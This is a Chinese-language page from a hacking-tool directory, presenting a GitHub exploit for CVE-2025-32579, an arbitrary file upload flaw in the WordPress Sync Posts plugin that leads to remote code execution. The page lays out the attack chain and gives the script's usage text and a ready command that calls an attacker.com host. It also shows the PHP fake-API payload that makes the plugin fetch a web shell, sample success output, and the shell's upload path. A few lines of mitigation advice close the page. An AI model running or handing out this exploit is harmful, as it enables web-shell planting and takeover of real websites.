Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/nxploited/cve-2025-32579
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubnxploited/cve-2025-32579

CVE-2025-32579

WordPress Sync Posts Plugin <= 1.0 存在任意文件上传漏洞

查看仓库
111年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

⚠️ CVE-2025-32579 - Sync Posts 插件(WordPress)中的严重 RCE 漏洞

📦 影响版本:Sync Posts <= 1.0
🧨 CVSS 评分:9.9 严重
📁 CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H


🧠 漏洞概述

由 SoftClever Limited 开发的 Sync Posts WordPress 插件存在一个无限制文件上传漏洞,该漏洞允许经过身份验证的攻击者在服务器上上传并执行任意 PHP 文件(例如 Web Shell)。

🔓 根本原因:

  • 该插件接受一个返回 JSON 帖子的 website_url。
  • 它会盲目获取帖子内容中的图像,而无需进行验证。
  • 未对文件类型、MIME 类型或路径进行任何限制。
  • 所有图像(甚至 PHP 文件)都会被下载并存储在 wp-content/uploads 中。

🚨 为什么危险

  • ✅ 远程代码执行(RCE)
  • ✅ 直接将 Web Shell 上传到服务器
  • ✅ 仅需最低权限(只需通过身份验证的用户)

⚙️ 脚本说明(漏洞利用)

该漏洞利用脚本自动化了完整的攻击链:

  1. 📥 使用提供的凭据登录 WordPress
  2. 🧠 生成伪造的 API PHP,返回一个包含 Shell 的 JSON 帖子,格式为 <img src="https://raw.githubusercontent.com/nxploited/cve-2025-32579/HEAD/...">
  3. 📡 将恶意 website_url 发送到 admin-ajax.php?action=sync_posts
  4. 💣 强制该插件获取并将 Shell 保存到 /uploads/
  5. ✅ 无需 Referer 或 nonce —— 会话 Cookie 就足够了

root@kitploit:~
usage: CVE-2025-32579.py [-h] -u URL -un USERNAME -p PASSWORD -ws WEBSITE -shell WEBSHELL

Exploit For CVE-2025-32579 Sync Posts # By: Nxploited ( Khaled Alenazi )

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target WordPress URL (e.g., http://target.com/wordpress)
  -un, --username USERNAME
                        Username to login
  -p, --password PASSWORD
                        Password to login
  -ws, --website WEBSITE
                        URL to fake API (e.g., http://attacker.com/Khaled_alenazi.php)
  -shell, --webshell WEBSHELL
                        Web shell URL used inside the fake API (can be a test image)
                                                                                       

💻 使用说明

📌 命令格式:

root@kitploit:~
python3 CVE-2025-32579.py -u http://target/wordpress -un admin -p pass123 -ws http://attacker.com/Khaled_alenazi.php -shell http://attacker.com/shell.php

⚙️ 参数:

你也可以使用一个虚拟图像代替真实的 Shell 进行测试:

root@kitploit:~
--webshell https://via.placeholder.com/1x1.jpg

🧪 示例:伪造 API 输出

这是 Khaled_alenazi.php 返回的响应:

root@kitploit:~
<?php
header('Content-Type: application/json');
echo json_encode([
  [
    "id" => 1,
    "title" => ["rendered" => "Nxploited"],
    "content" => [
      "rendered" => "<img src="http://attacker.com/shell.php">"
    ]
  ]
]);
?>

✅ 成功利用:

root@kitploit:~
[*] Attempting login...
[+] Logged in successfully.
[+] Generated fake API PHP file: Khaled_alenazi.php
[+] Sending exploit request to: http://target.com/wordpress
[+] Request sent successfully.
{
  "success": true,
  "data": {
    "message": "Posts imported successfully",
    ...
  }
}

🔥 成功利用后:

  • Shell 路径和名称:shell.php
  • target.com/wp-content/uploads/2025/04/shell.php

🛠️ 修复 / 缓解措施

  • 将 website_url 的访问限制为内部域名或白名单主机
  • 验证图像扩展名和内容类型
  • 避免在未进行清理的情况下解析第三方 JSON

🧷 参考

CVE:CVE-2025-32579
Exploit 作者:Nxploited (Khaled Alenazi)


下载工具
Flag描述
-u, --url目标 WordPress URL
-un, --usernameWordPress 用户名(admin)
-p, --passwordWordPress 密码
-ws, --website返回伪造帖子 JSON 的恶意 PHP 文件 URL
-shell, --webshell通过 `` 注入的实际 Shell 文件